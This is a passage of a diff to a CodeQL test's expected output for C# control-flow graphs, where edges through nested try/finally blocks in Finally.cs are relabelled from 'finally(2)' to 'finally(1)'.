Finally.cs:77:16:77:16 | access to local variable i | semmle.label | successor | -| Finally.cs:97:21:97:23 | [finally(2): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | exit M4 (abnormal) | semmle.label | exception(Exception) | -| Finally.cs:97:21:97:23 | [finally: break, finally(2): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | exit M4 (abnormal) | semmle.label | exception(Exception) | +| Finally.cs:97:21:97:23 | [finally(1): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | exit M4 (abnormal) | semmle.label | exception(Exception) | +| Finally.cs:97:21:97:23 | [finally: break, finally(1): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | exit M4 (abnormal) | semmle.label | exception(Exception) | | Finally.cs:97:21:97:23 | [finally: break] ...-- | Finally.cs:74:10:74:11 | exit M4 (normal) | semmle.label | break | -| Finally.cs:97:21:97:23 | [finally: continue, finally(2): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | exit M4 (abnormal) | semmle.label | exception(Exception) | +| Finally.cs:97:21:97:23 | [finally: continue, finally(1): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | exit M4 (abnormal) | semmle.label | exception(Exception) | | Finally.cs:97:21:97:23 | [finally: continue] ...-- | Finally.cs:77:16:77:16 | access to local variable i | semmle.label | continue | -| Finally.cs:97:21:97:23 | [finally: return, finally(2): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | exit M4 (abnormal) | semmle.label | exception(Exception) | +| Finally.cs:97:21:97:23 | [finally: return, finally(1): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | exit M4 (abnormal) | semmle.label | exception(Exception) | | Finally.cs:97:21:97:23 | [finally: return] ...-- | Finally.cs:74:10:74:11 | exit M4 (normal) | semmle.label | return | | Finally.cs:97:21:97:24 | ...; | Finally.cs:97:21:97:21 | access to local variable i | semmle.label | successor | -| Finally.cs:97:21:97:24 | [finally(2): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally(2): exception(Exception)] access to local variable i | semmle.label | successor | -| Finally.cs:97:21:97:24 | [finally: break, finally(2): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: break, finally(2): exception(Exception)] access to local variable i | semmle.label | successor | +| Finally.cs:97:21:97:24 | [finally(1): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally(1): exception(Exception)] access to local variable i | semmle.label | successor | +| Finally.cs:97:21:97:24 | [finally: break, finally(1): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: break, finally(1): exception(Exception)] access to local variable i | semmle.label | successor | | Finally.cs:97:21:97:24 | [finally: break] ...; | Finally.cs:97:21:97:21 | [finally: break] access to local variable i | semmle.label | successor | -| Finally.cs:97:21:97:24 | [finally: continue, finally(2): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: continue, finally(2): exception(Exception)] access to local variable i | semmle.label | successor | +| Finally.cs:97:21:97:24 | [finally: continue, finally(1): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: continue, finally(1): exception(Exception)] access to local variable i | semmle.label | successor | | Finally.cs:97:21:97:24 | [finally: continue] ...; | Finally.cs:97:21:97:21 | [finally: continue] access to local variable i | semmle.label | successor | -| Finally.cs:97:21:97:24 | [finally: return, finally(2): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: return, finally(2): exception(Exception)] access to local variable i | semmle.label | successor | +| Finally.cs:97:21:97:24 | [finally: return, finally(1): exception(Exception)] ...; | Finally.cs:97:21:97:21 | [finally: return, finally(1): exception(Exception)] access to local variable i | semmle.label | successor | | Finally.cs:97:21:97:24 | [finally: return] ...; | Finally.cs:97:21:97:21 | [finally: return] access to local variable i | semmle.label | successor | | Finally.cs:103:10:103:11 | enter M5 | Finally.cs:104:5:119:5 | {...} | semmle.label | successor | | Finally.cs:103:10:103:11 | exit M5 (abnormal) | Finally.cs:103:10:103:11 | exit M5 | semmle.label | successor | @@ -2525,67 +2525,67 @@ | Finally.cs:205:21:205:22 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | semmle.label | false | | Finally.cs:205:21:205:22 | access to parameter b2 | Finally.cs:205:31:205:46 | object creation of type ExceptionB | semmle.label | true | | Finally.cs:205:21:205:22 | access to parameter b2 | Finally.cs:208:13:210:13 | {...} | semmle.label | false | -| Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(ExceptionB)] {...} | semmle.label | exception(ExceptionB) | -| Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] {...} | semmle.label | exception(ExceptionB) | -| Finally.cs:205:25:205:47 | throw ...; | Finally.cs:208:13:210:13 | [finally(2): exception(ExceptionB)] {...} | semmle.label | exception(ExceptionB) | +| Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(ExceptionB)] {...} | semmle.label | exception(ExceptionB) | +| Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] {...} | semmle.label | exception(ExceptionB) | +| Finally.cs:205:25:205:47 | throw ...; | Finally.cs:208:13:210:13 | [finally(1): exception(ExceptionB)] {...} | semmle.label | exception(ExceptionB) | | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | semmle.label | successor | -| Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | semmle.label | successor | -| Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:205:25:205:47 | throw ...; | semmle.label | successor | -| Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally(2): exception(Exception)] if (...) ... | semmle.label | successor | -| Finally.cs:208:13:210:13 | [finally(2): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally(2): exception(ExceptionB)] if (...) ... | semmle.label | successor | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] if (...) ... | semmle.label | successor | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] if (...) ... | semmle.label | successor | +| Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally(1): exception(Exception)] if (...) ... | semmle.label | successor | +| Finally.cs:208:13:210:13 | [finally(1): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally(1): exception(ExceptionB)] if (...) ... | semmle.label | successor | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] if (...) ... | semmle.label | successor | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] if (...) ... | semmle.label | successor | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally: exception(Exception)] if (...) ... | semmle.label | successor | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] if (...) ... | semmle.label | successor | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] if (...) ... | semmle.label | successor | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] if (...) ... | semmle.label | successor | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] {...} | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] if (...) ... | semmle.label | successor | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA)] if (...) ... | semmle.label | successor | | Finally.cs:208:13:210:13 | {...} | Finally.cs:209:17:209:47 | if (...) ... | semmle.label | successor | -| Finally.cs:209:17:209:47 | [finally(2): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally(2): exception(Exception)] access to parameter b3 | semmle.label | successor | -| Finally.cs:209:17:209:47 | [finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally(2): exception(ExceptionB)] access to parameter b3 | semmle.label | successor | -| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(Exception)] access to parameter b3 | semmle.label | successor | -| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(ExceptionB)] access to parameter b3 | semmle.label | successor | +| Finally.cs:209:17:209:47 | [finally(1): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally(1): exception(Exception)] access to parameter b3 | semmle.label | successor | +| Finally.cs:209:17:209:47 | [finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally(1): exception(ExceptionB)] access to parameter b3 | semmle.label | successor | +| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(Exception)] access to parameter b3 | semmle.label | successor | +| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(ExceptionB)] access to parameter b3 | semmle.label | successor | | Finally.cs:209:17:209:47 | [finally: exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | semmle.label | successor | -| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(Exception)] access to parameter b3 | semmle.label | successor | -| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] access to parameter b3 | semmle.label | successor | +| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(Exception)] access to parameter b3 | semmle.label | successor | +| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] access to parameter b3 | semmle.label | successor | | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA)] if (...) ... | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | semmle.label | successor | | Finally.cs:209:17:209:47 | if (...) ... | Finally.cs:209:21:209:22 | access to parameter b3 | semmle.label | successor | -| Finally.cs:209:21:209:22 | [finally(2): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(Exception) | -| Finally.cs:209:21:209:22 | [finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | semmle.label | true | -| Finally.cs:209:21:209:22 | [finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionB) | -| Finally.cs:209:21:209:22 | [finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | semmle.label | true | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(Exception) | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | semmle.label | true | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionB) | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | semmle.label | true | +| Finally.cs:209:21:209:22 | [finally(1): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(Exception) | +| Finally.cs:209:21:209:22 | [finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | semmle.label | true | +| Finally.cs:209:21:209:22 | [finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionB) | +| Finally.cs:209:21:209:22 | [finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | semmle.label | true | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(Exception) | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | semmle.label | true | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionB) | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | semmle.label | true | | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | semmle.label | true | | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | semmle.label | false | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(Exception) | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | semmle.label | true | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionB) | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | semmle.label | true | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(Exception) | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | semmle.label | true | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionB) | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | semmle.label | true | | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | semmle.label | true | | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | semmle.label | false | | Finally.cs:209:21:209:22 | access to parameter b3 | Finally.cs:209:31:209:46 | object creation of type ExceptionC | semmle.label | true | | Finally.cs:209:21:209:22 | access to parameter b3 | Finally.cs:211:13:211:29 | ...; | semmle.label | false | -| Finally.cs:209:25:209:47 | [finally(2): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | -| Finally.cs:209:25:209:47 | [finally(2): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | -| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | -| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | +| Finally.cs:209:25:209:47 | [finally(1): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | +| Finally.cs:209:25:209:47 | [finally(1): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | +| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | +| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | | Finally.cs:209:25:209:47 | [finally: exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | -| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | -| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | +| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | +| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | | Finally.cs:209:25:209:47 | throw ...; | Finally.cs:195:10:195:12 | exit M10 (abnormal) | semmle.label | exception(ExceptionC) | -| Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(2): exception(Exception)] throw ...; | semmle.label | successor | -| Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(2): exception(ExceptionB)] throw ...; | semmle.label | successor | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] throw ...; | semmle.label | successor | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] throw ...; | semmle.label | successor | +| Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(1): exception(Exception)] throw ...; | semmle.label | successor | +| Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(1): exception(ExceptionB)] throw ...; | semmle.label | successor | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] throw ...; | semmle.label | successor | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] throw ...; | semmle.label | successor | | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception)] throw ...; | semmle.label | successor | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] throw ...; | semmle.label | successor | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] throw ...; | semmle.label | successor | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] throw ...; | semmle.label | successor | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] throw ...; | semmle.label | successor | | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA)] throw ...; | semmle.label | successor | | Finally.cs:209:31:209:46 | object creation of type ExceptionC | Finally.cs:209:25:209:47 | throw ...; | semmle.label | successor | | Finally.cs:211:13:211:16 | [finally: exception(Exception)] this access | Finally.cs:211:26:211:28 | [finally: exception(Exception)] "0" | semmle.label | successor | @@ -2658,50 +2658,50 @@ | Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | semmle.label | false | | Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:247:31:247:46 | object creation of type ExceptionA | semmle.label | true | | Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:250:17:252:17 | {...} | semmle.label | false | -| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | -| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | -| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:250:17:252:17 | [finally(1): exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | semmle.label | successor | -| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | semmle.label | successor | -| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:25:247:47 | throw ...; | semmle.label | successor | -| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | semmle.label | successor | -| Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | semmle.label | successor | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | semmle.label | successor | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | semmle.label | successor | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally(1): exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally(1): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally(1): exception(ExceptionA)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(ExceptionA)] ...; | semmle.label | successor | | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | semmle.label | successor | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | semmle.label | successor | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(Exception)] ...; | semmle.label 